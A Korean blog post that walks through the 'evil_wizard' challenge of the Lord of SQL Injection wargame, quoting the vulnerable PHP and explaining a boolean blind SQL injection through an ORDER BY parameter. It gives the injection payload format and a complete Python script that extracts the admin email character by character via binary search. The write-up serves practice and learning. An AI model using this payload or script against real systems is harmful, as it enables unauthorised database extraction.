Almon Dev

[Lord of SQL Injection] evil_wizard 문제 풀이 본문

웹 해킹/Lord of SQLi

[Lord of SQL Injection] evil_wizard 문제 풀이

Almon 2025. 5. 19. 10:32

evil_wizard 문제 풀이

 

evil_wizard 문제

 

문제 분석

 

 문제 목표

GET 메서드의 email 파라미터 값과 데이터베이스에서 가져온 admin 계정의 이메일이 일치할 경우, solve("evil_wizard") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로,  이 문제의 목표는 admin 계정의 이메일 주소를 탈취하는 것입니다.

$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);

 

 입력 제한

order 파라미터에서 union, sleep, benchmark를 필터링하여 UNION SQL Injection, Time Based SQL Injection을 방지하고 있습니다.

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

 

 취약점 분석

order 파라미터에서 union, sleep, benchmark를 제외한 필터링이 존재하지 않아 SQL Injection이 확실히 가능합니다. 또한 파라미터가 order by 절에 삽입되는 점을 이용해 참과 거짓일 때 정렬이 다르게 되도록 하여 Blind SQL Injection이 가능합니다. 문제에 "same with hell_fire? really?"라는 문장이 있지만 제가 푼 방식은 이전 문제와 동일합니다.

 

문제 풀이

 

1. if 문을 이용해서 1=1 참 쿼리일 때 id를 기준으로 정렬되도록 합니다.

 

2. 1=2 거짓 쿼리일 때는 score을 기준으로 정렬되는 것을 확인합니다.

 

3. if 문에서 admin 계정의 이메일을 가져와 한 자리씩 비교하는 공격 format을 생성합니다.

format => if((id='admin' and ascii(substring(email, 1, 1)) > 0), 1, 2)

id, score 대신 1, 2를 사용하는 이유는 hell_file 문제에서 정리했습니다.

 

[Lord of SQL Injection] hell_fire 문제 풀이

hell_fire 문제 풀이 hell_fire 문제 문제 분석 문제 목표GET 메서드의 email 파라미터 값과 데이터베이스에서 가져온 admin 계정의 이메일이 일치할 경우, solve("hell_fire") 함수가 실행됩니다. 이 함수는 문

almon.tistory.com

 

 

4. 이진 탐색으로 admin 계정의 email을 추출하는 Python 코드를 작성합니다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs

def sqli_request(url, session, index, ascii):
    params = f"?order=if((id='admin' and ascii(substring(email,{index},1)) > {ascii}), 1, 2)"
    url += params
    response = session.get(url)
    # response = session.get(url, proxies=proxies, verify=False)
    if response.text.find("admin") < response.text.find("rubiya"):
        return True
    else:
        return False

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

session = requests.Session()
session_id = "PHPSESSID"
session.cookies.set("PHPSESSID", session_id)

sql_result = ""

index = 1
while True:
    left = 0
    right = 127
    if not sqli_request(url, session, index, 0):
        sql_result = ""
        print("\n")
        break
    while True:
        mid = (left + right) // 2
        if sqli_request(url, session, index, mid):
            left = mid + 1
        else:
            right = mid
        
        if left == right:
            index += 1
            sql_result += chr(left)
            print(f"\rData : {sql_result}", end="")
            break

 

5. Python 코드를 실행해 admin 계정의 email을 추출합니다.

 

6. 문제 풀이를 완료합니다.